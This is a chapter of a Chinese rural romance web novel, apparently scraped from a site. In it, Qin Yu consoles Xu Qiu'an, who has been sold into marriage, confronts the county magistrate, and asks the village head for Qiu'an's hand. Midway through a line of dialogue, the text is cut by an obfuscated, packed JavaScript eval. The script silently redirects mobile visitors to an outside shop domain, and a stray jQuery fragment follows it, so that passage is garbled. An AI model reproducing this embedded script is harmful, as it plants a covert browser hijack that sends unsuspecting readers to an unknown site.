“数数清楚没,可是整整两吊铜钱!?”
许老娘与许老汉鬼鬼祟祟凑着头走路,步子放得慢,语气里满是兴奋。
“没错,没错,我数了三遍,都是整整两百个铜钱,哎哟,没想到那许二强竟这般大方,这亲事真是没定错!”
“就是就是——不过当家的,那许二强……”
许老娘还有一丝犹豫:“大夫都说他不能,不能人道了,那日后安哥儿嫁过去,生不出孩子,可不得被他们家磋磨死?”
“啧!”
许老汉瞪她一眼,说得理直气壮,冠冕堂皇:“那每个人都有每个人的命数,他定下了,那就该是他的命!”
“况且,你怎就知道那许二强会磋磨安哥儿了?都没影的事,你在这里说的有鼻子有眼做什么!?”
俩老不死的,攥着手里那两吊铜钱就把他家小哥儿卖了,还这样不拿他当人看!?
秦欲咬紧后槽牙,颌骨青筋凸显,就听见许老娘说:“就是这婚期又得提前——我们家大贵娶新妇的事儿可重要,那安哥儿同日出嫁,怕是顾不上他啊?”
“顾得上顾不上的,你管他呢,老子把他养这么大,还指望我们能给他什么嫁妆不成!?”
许老汉没好气:“到时候就让他收拾了他那两身衣裳,拎个包袱早些出门去,自己去许二强家,别挡了贵子去迎亲的吉时。”
“也对也对,反正那许二强就是个浑不吝的,也不来接亲,他们摆他们的酒席,好处也落不到我们头上!”
“行了,抓紧回去,趁夜深了,好把这银钱藏好,可别让其他人知晓了。”
两人一路走一路商量完事儿,才就着月光摸黑加快了脚步。
秦欲面无表情从他们身后走出,悄无声息的一人给了他们一脚。
“嗷!!?”的两嗓子,许老汉和许老娘齐齐摔了个狗吃屎。
该死的玩意儿!
小哥儿怕连累害着他,不肯再过来上工了。
秦欲第二天一大清早的站在自家新房子前就很焦躁,神色冷厉,一身血腥的气势外显无疑。
“怎么安哥儿今日这般迟了还没过来,怕不是出了什么事……?”
许羽习惯了每天都与他一起吃早饭的,今天许求安没过来,他们都还没吃饭。
“求安今天休息一天。”
秦欲去囫囵填了一碗温凉的米粥下肚,揣上三个水煮蛋就出门了。
经过工地,叫住了老工头:“再找些有经验的工人过来,有多少要多少,明后两天就把房子起好。”
“尤其浴室,厕所,照我之前与你说的,务必做精细些,还有院子那棵大树修理好,下面用木材扎个秋千。”
要得急。
再不急,连个狗窝地方都没有,他夫郎要没了!
秦欲压不下心里的焦躁。
“咋突然要得这么紧……”
不过他们本就人多,干活效率也高,这二层楼砌砖半日就能砌好框架,再架梁做个大瓦房顶就是。
“若是后日就想完工,我得再叫十余人来帮手——”
“叫够二十个,最好今天就能叫来,再找几个审美好的木匠,把新房的边边角角都打磨处理好,不缺这点银钱。”
秦欲拍拍老工头师傅的肩膀,把指挥干活这事儿全权交给了他,自己则带上可能用得上的柴刀背篓,一竹筒茶水,溜到了小哥儿家门外。
远远的,就能听见那许老娘呜呜咽咽的叫骂:“挨千刀的,哎哟哎哟,疼死我了……你这死哥儿,你给我马上去求那秦娃子,让他再准你回去帮工!”
“这说不干就不干了?啊?!那一天可是能得三个铜钱的活计,你上哪儿整回来去!?”
“你都要我嫁给许二强了,我还去帮工做什么。”许七安低低的辩驳了句。
就被许老汉恶狠狠的骂:“败家玩意儿!”
许老娘赶他:“我告诉你,这亲事时间就是提前了,你是嫁也得嫁不嫁也得嫁!正好,你不去帮工了,正好,给我滚出去,滚去砍干柴回来!”
许大贵要成婚了,就几日后的事儿,届时要请村里的亲戚朋友吃席,得用上许多柴火。
许求安脸上没什么表情,情绪也不波动,就这么漠然的在他爹娘的叫骂声中背上了竹背篓,拎了一把柴刀出了门。
秦欲来得巧,肃着脸偷偷跟在他身后。
小哥儿就这么一路走,走到偏僻少人的山脚边,放下了肩上的背篓,闷头开始砍柴。
他捡了干柴砍,但是干柴硬邦邦的,最是难砍的。
“求安。”
秦欲看在眼里,心疼都溢满出来,拨开树丛走出去:“吃早饭了吗?”
“啊——”
许求安以为这附近不会有其他人的,被突然吓一跳,慌忙攥紧了柴刀,回头看去。
秦欲高大的身影背着光,有些扎眼,就跟变戏法似的,从衣兜里掏出了一包饼子和三个水煮蛋。
“这一竹筒是茶水,饼子我备得多了些,正好是你早上和中午的量,肚子不要饿着。”
秦欲把东西给他,就眼睁睁看着小哥儿的眼眶又红了。
偏这次小哥儿不肯让自己哄了,紧抿着唇背过身去,声音也挺冷漠的:“我不能要,你,哥你不要再来了……”
操了的!
秦欲心肝儿疼。
“乖,不要说气话,也不要说违心话。”
秦欲宽厚的大手盖住他脑袋轻揉了一把,走到他面前,半俯下身与他对视,低声哄着道:“哥今天就去把事儿给解决了,不要哭,好吗?”
这些日子,当真是委屈了他的。
“……”
可,怎么能解决得了呢?
许求安不相信了。
他和秦欲都是无权无势还没钱的普通小老百姓,许二强和他爹娘那种人,一个是怕权势的,一个是见钱眼开的……
“不,不用了的……”
许求安低下头,胡乱抹了一把眼泪,强势让自己镇定下来,声音却带着哽咽:“我,哥你不要再为我做什么,我不能平白无故连累你……”
他们本就没什么关系。
既不是亲人,也不是亲戚,在秦欲从军中回来之前,他们一直都只是面熟而已的陌生人。
“不要胡说。”
秦欲皱起眉头,大手抚上他的后脖颈,轻捏了捏,低磁认真道:“是哥错了,哥之前的想法一直是时间还有些,可以不用着急,以为自己可以慢慢来……”
却没想到那俩老不死的,还有许二强那傻逼,竟一步一步这样逼他家小哥儿——
是他匆匆忙忙,却还什么都想考虑周全,想慢慢追到小哥儿,得到他的感情,忽视了小哥儿在这样的环境下,他本就没什么安全感。
如今还怕连累自己,宁愿自己受着委屈,受着家里人的嘲讽打骂……
操,他妈的!
“乖,先把早饭吃了,哥待会儿要去办点事,今天自己一个人的话,不要去危险的地方,好吗?”
秦欲认真望着小哥儿的眼睛,一字一句叮嘱:“要好好保护好自己,给你的药膏,药线香和火折子随时带在身上。”
“这柴火不要砍了,就在这里等我回来。”
“还有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802261|209668||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,要乖乖吃饭。”
一开始操心后,就会有操不完的心。
尤其小哥儿这样单薄瘦弱的身子,还有乖得不行的性子,很容易被人欺负。
秦欲放心不下。
“……我知道的。”
许求安紧抿着唇沉默了好一会儿,深吸了几口气,哽咽着答应了。
秦欲总是这样,总这么照顾他……就好像,他是他的夫郎似的……
“好了,不哭,哥下午迟些来找你。”秦欲用拇指腹擦去他眼尾的泪水,咬着后槽牙。
两人无声的面对面站了会儿,秦欲轻捏了下小哥儿没什么肉的脸蛋,转身离开。
许求安胡乱擦去眼泪,杵在原地,低着脑袋站了会儿,慌忙回过身去看。
秦欲离开的背影迅速,泪眼模糊中,很快就消失不见了人影。
许求安没有哭出声,掉着眼泪坐在树干下,喝了水,开始一口一口吃东西,越吃越委屈。
秦欲就越走越生气,一肚子火,难得的怒意上头,去干了几件大事儿。
上午十点多,秦欲抓了几把新鲜的,县太爷派人遍寻而不得的山珍物什和草药,直接闯进了县太爷府。
“你是何人,所为何事?”
县太爷今年五十有三,年纪不大,看起来却很是疲惫,倚靠坐在床头,身边有个书童小厮伺候着,时不时咳嗽几声,脸上没什么血色。
他愈发病得严重,虽在任上,但已经有三五年不问政事了,都是他手底下的师爷在管着。
万幸师爷每每来与他禀报时,都是些好消息,县辖内没什么大事,他也安心些。
今日秦欲突然闯入,倒把他吓一跳。
“你要的药材,能治病解毒。”
秦欲言简意赅,将装了山野药的麻布袋丢到他床边,神色漠然:“提醒你一句,你身边的师爷不是个安分的,你那小妾和你小儿子给你送来的吃食,也别入口。”
那日去卖猎物,秦欲特地跟罗老大夫打听了两句,罗老大夫说是早已跟县太爷提过这事儿,只是他不肯信。
“你是什么人,有何目的?”
“你看你小儿子像野种吗?”
秦欲语调冷淡,直接打破了这老头的幻想:“想要儿子传宗接代也不是这么个要法,身体好了,再怎么不能生?非得认个野种。”
明眼人一眼就瞧出来了,他县太爷唯一的小儿子跟他师爷的眉眼长得是真相似,只是碍于威严,大家心知肚明,都不摆上明面。
“你,嗬咳,你这个歹徒——”
县太爷气得脸红脖子粗,直喘气。
秦欲淡漠道:“话给你带到这儿,好好管管你手下的衙役,再不管,他们就要强抢民女民哥儿了。”
顿了顿,随口甩出一句:“若是你不想管,那我便让你的顶头上司来管。”
说完,扭头离开了。
这县太爷老头儿自然会管,他是个好官,只是平日里病得严重,又有小妾这枕边风吹着,信任的师爷那边哄着……他累,不想多管。
现在人不仅带来了药材给他治病,甚至告状都告到他跟前了——
那就是来人态度再不好,他县太爷大小也是个官,官老爷的威严不容侵犯,他想活命,他就得管!
当下就唤了自家发妻过来。
上午搞完县太爷这边的事儿,秦欲就在镇上买了些点心米面,一刻不停,回村直奔村长家送礼,直言道:“我要娶求安。”
“你说什么!?”
村长原本还笑眯眯的招待他喝茶,这温热的茶水刚喝进口,就被他语出惊人给呛咳了个撕心裂肺。